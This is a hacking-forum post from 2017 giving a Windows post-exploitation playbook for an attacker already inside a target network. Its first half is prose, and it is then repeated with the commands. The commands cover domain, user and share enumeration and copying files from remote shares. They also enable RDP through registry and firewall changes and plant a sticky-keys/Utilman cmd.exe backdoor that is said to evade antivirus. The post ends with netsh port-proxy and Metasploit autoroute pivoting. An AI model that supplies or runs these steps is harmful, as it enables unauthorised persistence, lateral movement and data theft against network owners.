Oct 8, 2017 04:06 PM
(This post was last modified: Oct 8, 2017 04:07 PM by CyberStrike.)
Windows Information Gathering:
This is one of the most important things as there may be several network segments in a target network. One must remember that there are systems on a network that are “multi-homed” or are connected to more than one LAN segment on a target network. In addition an operator must be aware as to what kind of trail they are leaving behind, as this may give a defender information on the attacker.
Upon entering a target an operator must get situational awareness. The following tasks must be performed:
Windows:
Finding out about Windows:
Looking at Network
Pay attention to devices that may not be active as a machine maybe multi-homed
Find the local users
Finding more information on particular user
Finding more information on local group
Finding shares on local host
Find Domain
Finding hosts in domain
Find global groups
Mapping of Domain Controllers
Mapping of Domain Trusts
Trusts on a Domain can be used to quickly compromise machines for example if Host1 has a trust relationship with Host2, which you already are in you now can log into Host1 based upon that trust.
Shares on Domain
Finding Name Servers that the target network refrences
Remote Machine Group and User Enumeration
Checking access to remote machine and issuing commands to a remote machines
This command allows you to check the directory of a remote machine and output to file.txt, then copy the file. (If this works you can go shopping for whatever file you want.)
Powershell does allow commands usually executed in cmd to be executed. Powershell is much more robust. A few good PowerShell commands are
In Mimikatz there are other PowerShell commands available that can help speed up enumeration. It is strongly suggested that an operator gets familiar with tools before an engagement. Please refer to https://hackforums.net/showthread.php?tid=5732104
Windows RDP:
Windows Backdooring RDP hijacking stickykeys and Utilman:
This technique avoids AV/WhiteListing and is activated when sticky keys are activated.
IP Forwarding in Windows
Pivoting
Pivoting is when using the newly compromised target in order to send traffic from tools on an attackers computer into the target network.
Check the network config using ipconfig/ifconfig depending on the OS of the compromised target.
In Metasploit:
This is one of the most important things as there may be several network segments in a target network. One must remember that there are systems on a network that are “multi-homed” or are connected to more than one LAN segment on a target network. In addition an operator must be aware as to what kind of trail they are leaving behind, as this may give a defender information on the attacker.
Upon entering a target an operator must get situational awareness. The following tasks must be performed:
Windows:
Finding out about Windows:
Code
sysinfoLooking at Network
Code
ipconfig /allPay attention to devices that may not be active as a machine maybe multi-homed
Find the local users
Code
net userFinding more information on particular user
Code
net user Username
Find local groups
net localgroupsFinding more information on local group
Code
net localgroups GroupNameFinding shares on local host
Code
net view
net shareFind Domain
Code
net view /DomainFinding hosts in domain
Code
net view /Domain:DomainNameFind global groups
Code
net group “Domain Computers” /DomainMapping of Domain Controllers
Code
nltest /dclist:domainMapping of Domain Trusts
Code
nltest /domain trusts
nltest /ServerIP /domain_trustsTrusts on a Domain can be used to quickly compromise machines for example if Host1 has a trust relationship with Host2, which you already are in you now can log into Host1 based upon that trust.
Shares on Domain
Code
net share \\TargetFinding Name Servers that the target network refrences
Code
nslookup ServerNameRemote Machine Group and User Enumeration
Code
net group \\Target GroupName
net user \\Target UserNameChecking access to remote machine and issuing commands to a remote machines
This command allows you to check the directory of a remote machine and output to file.txt, then copy the file. (If this works you can go shopping for whatever file you want.)
Code
dir /s /B \\Host\\Share$ >file.txt
copy \\Host\Share$\Dir\file.txtCode
Invoke-Netview
Invoke-Sharefinder
Invoke-MapDomainTrusts
Get-Help whatyouarelookingfor*In Mimikatz there are other PowerShell commands available that can help speed up enumeration. It is strongly suggested that an operator gets familiar with tools before an engagement. Please refer to https://hackforums.net/showthread.php?tid=5732104
Windows RDP:
Code
reg add "hklm\system\currentControlSet\Control\Terminal Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f
Reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurentControlSet\Control\Terminal Server” /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh advfirewall firewall set rule group=”remote desktop” new enable=yes
netsh firewall add portopening TCP 3389 "Remote Desktop"
sc config "Termservice"
start= auto net start "Termservice"Windows Backdooring RDP hijacking stickykeys and Utilman:
This technique avoids AV/WhiteListing and is activated when sticky keys are activated.
Code
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /t REG_SZ /v Debugger /d “C:\windows\system32\cmd.exe” /f
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /t REG_SZ /v Debugger /d “C:\windows\system32\cmd.exe” /fIP Forwarding in Windows
Code
netsh
interface ipv4 (can use ipv6 if needed)
show interfaces (you will see an "idx")
show interface idx#
set interface idx# forwarding=enabled
One liner edit as per target network
netsh interface portproxy add v4tov4 listenport=4422 listenaddress=192.168.1.111 connectport=80 connectaddress=192.168.0.33Pivoting
Pivoting is when using the newly compromised target in order to send traffic from tools on an attackers computer into the target network.
Check the network config using ipconfig/ifconfig depending on the OS of the compromised target.
In Metasploit:
Code
run autoroute -h
[*] Usage: run autoroute [-r] -s subnet -n netmask
[*] Examples:
[*] run autoroute -s 10.1.1.0 -n 255.255.255.0 # Add a route to 10.10.10.1/255.255.255.0
[*] run autoroute -s 10.10.10.1 # Netmask defaults to 255.255.255.0
[*] run autoroute -s 10.10.10.1/24 # CIDR notation is also okay
[*] run autoroute -p # Print active routing table
[*] run autoroute -d -s 10.10.10.1 # Deletes the 10.10.10.1/255.255.255.0 route
[*] Use the "route" and "ipconfig" Meterpreter commands to learn about available routes
run autoroute -s 10.10.10.0/24 (Using CIDR notation)
Adding a route in Linux and using ProxyChains (you must have pre-configured the conf file of ProxyChains before hand, and have a proxy running)


